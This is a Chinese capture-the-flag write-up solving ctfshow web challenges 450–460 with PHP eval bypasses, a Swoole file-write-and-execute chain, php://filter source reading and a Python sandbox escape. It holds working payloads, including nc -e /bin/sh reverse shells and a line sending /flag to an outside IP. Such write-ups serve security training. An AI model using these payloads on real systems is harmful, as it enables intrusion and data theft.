ctfshow web其他 web450--web460

web450

<?phphighlight_file(__FILE__);
$ctfshow=$_GET['ctfshow'];if(preg_match('/^[a-z]+[\^][a-z]+[\^][a-z]+$/', $ctfshow)){  //小写字母^小写字母^小写字母eval("($ctfshow)();");
}
?ctfshow=phpinfo^phpinfo^phpinfo

web451

<?phphighlight_file(__FILE__);
$ctfshow=$_GET['ctfshow'];if(preg_match('/^[a-z]+[\^][a-z]+[\^][a-z]+$/', $ctfshow)){if(!preg_match('/phpinfo/', $ctfshow)){eval("($ctfshow)();");}
}

echo 'a'^'z'^'r';在这里插入图片描述

?ctfshow=phpanfo^phpznfo^phprnfo

web452

<?phphighlight_file(__FILE__);
$ctfshow=$_GET['ctfshow'];if(!preg_match('/\'|\"|[0-9]|\{|\[|\~|\^|phpinfo|\$/i', $ctfshow)){eval($ctfshow);
}

很简单的正则

?ctfshow=echo `cat /f*`;

web453

在这里插入图片描述
先看源代码

在这里插入图片描述

on('start', function ($server) { echo "Swoole http server is started at http://0.0.0.0:80\n"; }); $http->on('request', function ($request, $response) { list($controller, $action) = explode('/', trim($request->server['request_uri'], '/')); $route = array('ctf'); $method = array('show','file','exec'); if(in_array($controller, $route) && in_array($action, $method)){ (new $controller)->$action($request, $response); }else{ $response->end('
where is flag?
'); } }); $http->start(); class ctf{ public function show($request,$response){ $response->header('Content-Type', 'text/html; charset=utf-8'); $s=$request->post['s']; if(isset($s)){ $response->end(file_get_contents($s)); }else{ $response->end('s not found'); } } public function file($request,$response){ $response->header('Content-Type', 'text/html; charset=utf-8'); $s=$request->post['s']; if(isset($s)){ file_put_contents('shell.php', $s); $response->end('file write done in /var/www/shell.php'); }else{ $response->end('s not found'); } } public function exec($request,$response){ system('php shell.php'); $response->end('command exec done'); } }
https://65333cd1-d490-4100-8fbb-6e9d0ab1680d.challenge.ctf.show/ctf/file
s=<?=system('nc ip port -e /bin/sh')?>     //这里随便写什么命令但是只能外带我为了方便直接弹了
写入之后访问27.25.151.6
https://65333cd1-d490-4100-8fbb-6e9d0ab1680d.challenge.ctf.show/ctf/exec
进行执行

web454

on('start', function ($server) { echo "Swoole http server is started at http://0.0.0.0:80\n"; }); $http->on('request', function ($request, $response) { list($controller, $action) = explode('/', trim($request->server['request_uri'], '/')); $route = array('ctf'); $method = array('show','file','include'); if(in_array($controller, $route) && in_array($action, $method)){ (new $controller)->$action($request, $response); }else{ $response->end('
where is flag?
'); } }); $http->start(); class ctf{ public function show($request,$response){ $response->header('Content-Type', 'text/html; charset=utf-8'); $s=$request->post['s']; if(isset($s)){ $response->end(file_get_contents($s)); }else{ $response->end('s not found'); } } public function file($request,$response){ $response->header('Content-Type', 'text/html; charset=utf-8'); $s=$request->post['s']; if(isset($s)){ file_put_contents('shell.php', $s); $response->end('file write done in /var/www/shell.php'); }else{ $response->end('s not found'); } } public function include($request,$response){ include('shell.php'); $response->end('include done'); } }
https://42833b0d-9912-4f86-a969-2da0d9156e0e.challenge.ctf.show/ctf/file
s=<?=system('nc ip port -e /bin/sh')?> 
https://42833b0d-9912-4f86-a969-2da0d9156e0e.challenge.ctf.show/ctf/include

web455

https://357cf3a2-0a36-4b11-83ed-ad34015db494.challenge.ctf.show/ctf/file
s=<?=system('nc ip port -e /bin/sh')?> 
https://357cf3a2-0a36-4b11-83ed-ad34015db494.challenge.ctf.show/ctf/exec

web456

与上题同

web457

<?phphighlight_file(__FILE__);
error_reporting(0);
include('flag.php');
abstract class user{public  $username;public  $password;function __construct($u,$p){$this->username=$u;$this->password=$p;}abstract  public  function check();
}class visitor extends user{public  function check(){return ($this->username!=='admin' && $this->password!=='admin888');}
}class admin extends user{public  function check(){$u= call_user_func($this->password);return $u=='admin';}
}$u=$_GET['u'];
$p=$_GET['p'];if(isset($u)&&isset($p)){if((new visitor($u,$p))->check()){die('welcome visitor :'.$u);}if((new admin($u,$p))->check()){die('welcome admin :'.$u.' flag is :'.$flag);}
}
?u=admin&p=phpinfo
phpinfo 能返回true这个我终于懂了
因为admin子类中我们有个回调函数,只要我们能够回调到函数那么就会返回true,如果为真,那么就会返回flag

web458

代码没有变,但是没有回显flag
学习到了新姿势

get_class (): 获取当前调用方法的类名; 
get_called_class():获取静态绑定后的类名;

所以是能够回调到并且返回true的

?u=admin&p=get_called_class
?u=admin&p=get_class

web459

<?phphighlight_file(__FILE__);
error_reporting(0);
include('flag.php');$u=$_GET['u'];
$p=$_GET['p'];if(isset($u)&&isset($p)){copy($u, $p.'.php');
}

用php伪协议外带写入文件

?u=php://filter/read=convert.base64-encode/resource=flag.php&p=baozongwi
访问baozongwi.php

然后base64解码

web460

from flask import Flask
from flask import request
import re
import sys 
from func_timeout import func_set_timeout
import time
import func_timeout
import randomsys.modules['os']=None
sys.modules['imp']=None
sys.modules['subprocess']=None
sys.modules['socket']=None
sys.modules['timeit']=None
sys.modules['platform']=None
sys.modules['sys']=Noneapp = Flask(__name__)
sys.modules['importlib']=None
del sys@func_set_timeout(0.7)
def run(s):time.sleep(randmon.random())return eval(s)def Q2B(uchar):inside_code = ord(uchar)if inside_code == 0x3000:inside_code = 0x0020else:inside_code -= 0xfee0if inside_code < 0x0020 or inside_code > 0x7e: return ucharreturn chr(inside_code)def stringQ2B(ustring):return "".join([Q2B(uchar) for uchar in ustring])@app.route('/',methods=['POST', 'GET'])
def app_index():if request.method == 'POST':code = request.form['code']if code:code = stringQ2B(code)if '\\u' in code:return 'hacker?'if '\\x' in code:return 'hacker?'reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]|request|len')if reg.search(code)==None:try:s=run(code)return sexcept func_timeout.exceptions.FunctionTimedOut:return exec('1')return 'where is flag?<!-- /?code -->'if __name__=="__main__":app.run(host='0.0.0.0',port=8080)
看着代码一样几乎一样吧,但是没做出来,对不住了,先放个错的
?POST=s = open('/flag').read();import urllib;urllib.request.urlopen('http://27.25.151.6:9999?1='%2bs);
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/32610.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【深度学习系列】全面指南:安装TensorFlow的CPU和GPU版本

本博客旨在为初学者提供一份全面的指南&#xff0c;介绍如何根据个人电脑的配置选择并安装适合的TensorFlow版本。内容涵盖了如何查看电脑显卡型号以确定是安装CPU还是GPU版本的TensorFlow&#xff0c;创建Python虚拟环境&#xff0c;以及使用conda命令查找可用的TensorFlow版本…

FPGA早鸟课程第二弹 | Vivado 设计静态时序分析和实际约束

在FPGA设计领域&#xff0c;时序约束和静态时序分析是提升系统性能和稳定性的关键。社区推出的「Vivado 设计静态时序分析和实际约束」课程&#xff0c;旨在帮助工程师们掌握先进的设计技术&#xff0c;优化设计流程&#xff0c;提高开发效率。 课程介绍 关于课程 权威认证&…

常用主流sip协议软电话客户端软件有哪些?—— 筑梦之路

Ekiga 官网地址&#xff1a;Ekiga ~ Free Your Speech Ekiga&#xff0c;原名GnomeMeeting&#xff0c;支持Windows和Linux&#xff0c;是一个兼容SIP和H.323的视频会议程序&#xff0c;兼容VoIP&#xff0c;IP电话&#xff0c;通过Ekiga可以与使用任何SIP和H.323软硬件的远程…

Vue.js 自定义组件的三种用法

1.创建项目 创建项目,你可以参考我以前的博文,这里省略了 项目的目录结构如下: 接着,我们在 src/components 目录下创建一个自定义的组件 SplashHello.vue,示例代码如下所示: <template><div><p>{{ title }}</p><p>{{ message }}</p&…

C++初学者指南第一步---13.聚合类型

C初学者指南第一步—13.聚合类型 文章目录 C初学者指南第一步---13.聚合类型1. 类型分类&#xff08;简化&#xff09;2. 如何定义和使用3. 为什么选择自定义类型/数据聚合&#xff1f;4. 聚合类型初始化5.混合6. 复制7. 值和引用的语义8.聚合的向量(std::vector)9.最令人烦恼的…

不使用ES,如何使用MySQL实现模糊匹配

1.业务场景 例如&#xff1a;我们实现一个公司的申请审批流程&#xff0c;整个业务流程涉及到两种角色&#xff0c;分别是商务角色与管理员角色&#xff0c;整个流程如下图所示&#xff1a; 核心流程总结为一句话&#xff1a;商务角色申请添加公司后由管理员进行审批。 商务在…

10.2 JavaEE——Spring MVC入门程序

要求在浏览器发起请求&#xff0c;由Spring MVC接收请求并响应&#xff0c;具体实现步骤如下。 一、创建项目 在IDEA中&#xff0c;创建一个名称为chapter10的Maven Web项目。 &#xff08;一&#xff09;手动设置webapp文件夹 1、单击IDEA工具栏中的File→“Project Structu…

干货 | 2024生成式AI产业落地路径研究报告(免费下载)

【1】关注本公众号&#xff0c;转发当前文章到微信朋友圈 【2】私信发送 2024生成式AI产业落地路径研究报告 【3】获取本方案PDF下载链接&#xff0c;直接下载即可。 如需下载本方案PPT/WORD原格式&#xff0c;诚挚邀请您微信扫描以下二维码加入方案驿站知识星球&#xff0c;…

已解决ApplicationException异常的正确解决方法,亲测有效!!!

已解决ApplicationException异常的正确解决方法&#xff0c;亲测有效&#xff01;&#xff01;&#xff01; 目录 问题分析 出现问题的场景 报错原因 解决思路 解决方法 分析错误日志 检查业务逻辑 验证输入数据 确认服务器端资源的可用性 增加对特殊业务情况的处理…

程序猿大战Python——面向对象——继承进阶

方法重写 目标&#xff1a;掌握方法的重写。 当父类的同名方法达不到子类的要求&#xff0c;则可以在子类中对方法进行重写。语法&#xff1a; class 父类名(object):def 方法A(self):代码... class 子类名(父类名):def 方法A(self):代码... 例如&#xff0c;一起来完成&…

UEC++ 虚幻5第三人称射击游戏(一)

UEC 虚幻5第三人称射击游戏&#xff08;一&#xff09; 创建一个空白的C工程 人物角色基本移动 创建一个Character类添加一些虚幻商城中的基础动画 给角色类添加Camera与SPringArm组件 UPROPERTY(VisibleAnywhere, BlueprintReadOnly, Category "SpringArm")clas…

AG32 MCU Start Kit 开发板快速入门及 21天体验活动

AG32 IDE开发环境搭建-完整版 海振远科技 2024-6-18 AG32 MCU开发板的使用 使用准备 在使用开发板前&#xff0c;请确认已经安装好开发环境。 安装环境过程&#xff0c;请参考文档《AG32 开发环境搭建.pdf》 上电&#xff1a; 给开发板5V 供电&#xff0c;打开开关&#…

极速下载,尽在Gopeed — 现代全能下载管理器

Gopeed&#xff1a;用Gopeed&#xff0c;让下载变得简单而高效。- 精选真开源&#xff0c;释放新价值。 概览 Gopeed是一个用Go语言编写的现代下载管理器&#xff0c;支持跨平台使用&#xff0c;包括Windows、macOS、Linux等。它不仅提供了基本的下载功能&#xff0c;还通过内…

免费的AI在线写作工具,让写作变的更简单

在如今的时代&#xff0c;写作已经成为了我们日常生活中不可或缺的一部分。无论是自媒体创作者、学生还是办公职场人员&#xff0c;都有内容创作的需求。然而&#xff0c;写作过程往往伴随着灵感枯竭、查找资料费时等问题。下面小编就来和大家分享几款免费的AI在线写作工具&…

流水账里的贷款密码:如何打造银行眼中的“好流水”

说到贷款&#xff0c;很多人可能都遇到过这样的困惑&#xff1a;明明觉得自己条件不错&#xff0c;为啥银行就是不给批呢&#xff1f;其实&#xff0c;银行在审批贷款时&#xff0c;除了看你的征信记录、收入证明这些基础材料外&#xff0c;还有一个很重要的参考指标&#xff0…

文心一言 VS 讯飞星火 VS chatgpt (287)-- 算法导论21.2 6题

六、假设对 UNION 过程做一个简单的改动&#xff0c;在采用链表表示中拿掉让集合对象的 tail 指针总指向每个表的最后一个对象的要求。无论是使用还是不使用加权合并启发式策略&#xff0c;这个修改不应该改变 UNION 过程的渐近运行时间。(提示:而不是把一个表链接到另一个表后…

常见数字化转型方案撰写的思维模式

通过这一段时间的学习和倾听,结合DAMA数据管理知识体系学习与项目实践,对大部分数据治理类项目、信息化建设和数字化转型项目的思维模式做了一些总结梳理,具体有如下四种,供参考。 一、方法1:结合环境六边形法 1.要点题,弄清楚问题是什么 2.目标原则有哪些,补充哪些 3.…

如何使用代理ip上网移动转电信

在一些特定的工作场景中&#xff0c;比如跨网办公、数据分析等&#xff0c;我们常常需要将网络IP从一种类型转换到另一种类型。如需将移动网络转电信IP代理。那么&#xff0c;如何使用代理IP上网移动转电信呢&#xff1f;接下来&#xff0c;将为您揭示一个便捷的方法&#xff0…

【Linux】系统文件IO·文件描述符fd

前言 C语言文件接口 C 语言读写文件 1.C语言写入文件 2.C语言读取文件 stdin/stdout/stderr 系统文件IO 文件描述符fd&#xff1a; 文件描述符分配规则&#xff1a; 文件描述符fd&#xff1a; 前言 我们早在C语言中学习关于如何用代码来管理文件&#xff0c;比如文件的…

《Fundamentals of Power Electronics》——绕组导体中的涡流

绕组导体中的涡流也会导致功率损耗。这可能导致铜耗大大超过上述公式预测的值。特殊的导体涡流机制被称为集肤效应和紧邻效应。这些机制在多层绕组的大电流导体中最为明显&#xff0c;特别是在高频变换器中。 下图说明了一个简单变压器绕组中的邻近效应。